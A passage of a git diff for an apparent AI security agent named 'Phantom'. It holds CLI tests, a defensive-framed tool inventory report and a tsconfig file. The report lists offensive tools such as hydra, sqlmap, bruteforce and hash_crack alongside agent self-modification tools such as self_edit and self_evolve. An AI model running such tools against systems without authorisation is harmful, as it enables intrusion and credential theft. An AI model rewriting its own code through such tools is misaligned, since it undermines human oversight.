without error", async () => { + const { execSync } = await import("child_process"); + const out = execSync("node phantom.mjs --list 2>&1", { cwd: CWD, encoding: "utf-8", timeout: 15000 }); + assert.ok(out.length > 100); + }); + + it("--help shows PHANTOM banner", async () => { + const { execSync } = await import("child_process"); + const out = execSync("node phantom.mjs --help 2>&1", { cwd: CWD, encoding: "utf-8", timeout: 10000 }); + assert.match(out, /PHANTOM/i); + }); + + it("--tool whois example.com returns data quickly", async () => { + const { execSync } = await import("child_process"); + const out = execSync("node phantom.mjs --tool whois example.com 2>&1", { cwd: CWD, encoding: "utf-8", timeout: 15000 }); + assert.ok(out.includes("whois") || out.includes("Error") || out.includes("example"), `Got: ${out.slice(0, 100)}`); + }); +}); diff --git a/tool_mastery.md b/tool_mastery.md new file mode 100644 index 0000000000000000000000000000000000000000..7400b026ca307d521426ce2108a7b3543acb6467 --- /dev/null +++ b/tool_mastery.md @@ -0,0 +1,93 @@ +# Phantom Tool Mastery Report (Defense Perspective) + +**Author:** Vega (Defense) +**Date:** 2026-07-25 +**Source:** Analysis of lib/tools.mjs and runtime tool registry + +## 1. File Structure Analysis (lib/tools.mjs) + +Tool registration: Central hackerTools object mapping names to async handler functions +Handler types: Shell wrappers (nmap sqlmap ffuf), JavaScript-native (ssl_check dns_lookup jwt_decode), Hybrid (web_fetch http_headers) +Configuration: API keys from process.env via env.mjs +Security features: Scope enforcement, target sanitization, timeouts, unified error wrapping + +## 2. Tool Category Summary (130+ Tools) + +### Reconnaissance and OSINT (21 tools) +dns_lookup sub_enum whois geoip reverse_dns shodan_search wayback email_verify email_breach github_dork recon crawl web_links web_snapshot whatweb wafw00f httpx subfinder amass gau cloud_enum + +### Web Application Security (25 tools) +http_headers ssl_check cert_expiry cors_test http_methods robots_txt dir_bruteforce fuzz ffuf gobuster gospider katana sql_detect xss_scan open_redirect upload_test rate_limit_test nuclei nikto arjun sqlmap wafw00f js_analyze browser_auto web_form + +### Network Security (8 tools) +port_scan nmap masscan dns_zone dnsx hydra bruteforce sub_takeover + +### Cryptography and Encoding (6 tools) +hash decode jwt_decode hash_crack ssl_check cert_expiry + +### Forensics and Malware Analysis (5 tools) +file_analyze vt_check yara code_analyze trufflehog + +### Exploitation Awareness - Defensive (7 tools) +hydra sqlmap ffuf gobuster nuclei pwn vuln_scan + +### Self-Improvement and Evolution (11 tools) +self_info self_read self_edit self_add_tool self_integrate self_improve self_evolve knowledge_add learn_book learn_url brain + +### Orchestration and Multi-Agent (11 tools) +delegate fanout parallel synthesize scope schedule cron project_create project_list project_info project_note project_switch agent_memory session_save session_load workspace_write workspace_read + +### Reporting and Output (6 tools) +report_save report_export file_write file_edit notify synthesize + +### Browser and Interaction (6 tools) +web_search web_fetch browser_auto web_click web_form youtube_summarize + +### External Tool Integrations (22 tools) +nmap sqlmap hydra ffuf gobuster nuclei katana subfinder httpx amass gau dnsx gitleaks s3scanner whatweb wafw00f trufflehog masscan nikto arjun gospider cloud_enum + +## 3. Input Pattern Conventions + +Domain-only (no http://): dns_lookup whois ssl_check sub_enum sub_takeover cert_expiry +Full URL (https://): http_headers crawl cors_test xss_scan sql_detect open_redirect web_fetch +Absolute paths: file_analyze file_read file_write file_edit code_analyze yara +Pipe syntax: @tool|arg1|arg2 (one per line, no commas) + +## 4. Security Monitoring Workflows + +### Alert Triage Pipeline +1. whois -> geoip -> dns_lookup +2. http_headers -> ssl_check -> cert_expiry -> cors_test +3. port_scan -> dns_zone -> sub_enum +4. nuclei or vuln_scan +5. file_analyze -> vt_check -> code_analyze +6. report_save + +### Continuous Monitoring +schedule daily cert_expiry +schedule hourly http_headers +schedule 6h ssl_check +cron cve_daily + +### Threat Hunting +gau -> wayback -> js_analyze -> web_links -> fuzz -> github_dork + +## 5. Identified Gaps and Improvement Suggestions + +Priority High: Log aggregation (log_ingest) +Priority High: SIEM correlation (correlate) +Priority Medium: IOC feed ingestion (ioc_feed) +Priority Medium: Certificate transparency monitoring (ct_monitor) +Priority Medium: Baseline comparison (diff_scan) +Priority Medium: Threat intel enrichment (enrich_ioc) +Priority Medium: Packet capture (pcap) +Priority Low: Automated blocking (block_ip) +Priority Low: Compliance checks (cis_audit) +Priority Low: Memory forensics (volatility) + +## 6. Conclusion + +Phantom provides 130+ tools across 11 categories with proper security enforcement (scope, sanitization, timeouts, error handling). +Top 5 defensive enhancements: 1) Log ingestion 2) SIEM correlation 3) IOC feeds 4) Certificate transparency 5) Baseline comparison. + +Report generated from lib/tools.mjs analysis and runtime tool registry. diff --git a/tool_reference.md b/tool_reference.md new file mode 100644 index 0000000000000000000000000000000000000000..96ee7f7bb815cbfe3b879669d184c68344ce7e76 --- /dev/null +++ b/tool_reference.md @@ -0,0 +1 @@ +# PHANTOM TOOL REFERENCE \ No newline at end of file diff --git a/tsconfig.json b/tsconfig.json new file mode 100644 index 0000000000000000000000000000000000000000..5cd0f2f69c57ac4c679fd656e5eaf8be4ddb044e --- /dev/null +++ b/tsconfig.json @@ -0,0 +1,23 @@ +{ + "compilerOptions": { + "target": "ESNext", + "module": "ESNext", + "moduleResolution": "bundler", + "outDir": "dist", + "rootDir": "src", + "strict": true, + "esModuleInterop": true, + "skipLibCheck": true, + "forceConsistentCasingInFileNames": true, + "resolveJsonModule": true, + "declaration": true, + "declarationMap": true, + "sourceMap": true, + "typeRoots": ["/usr/local/lib/node_modules/@types"], + "types": ["node"], + "allowSyntheticDefaultImports": true, + "lib": ["ESNext"] + }, + "include": ["src/**/*"], + "exclude": ["node_modules", "dist"] +}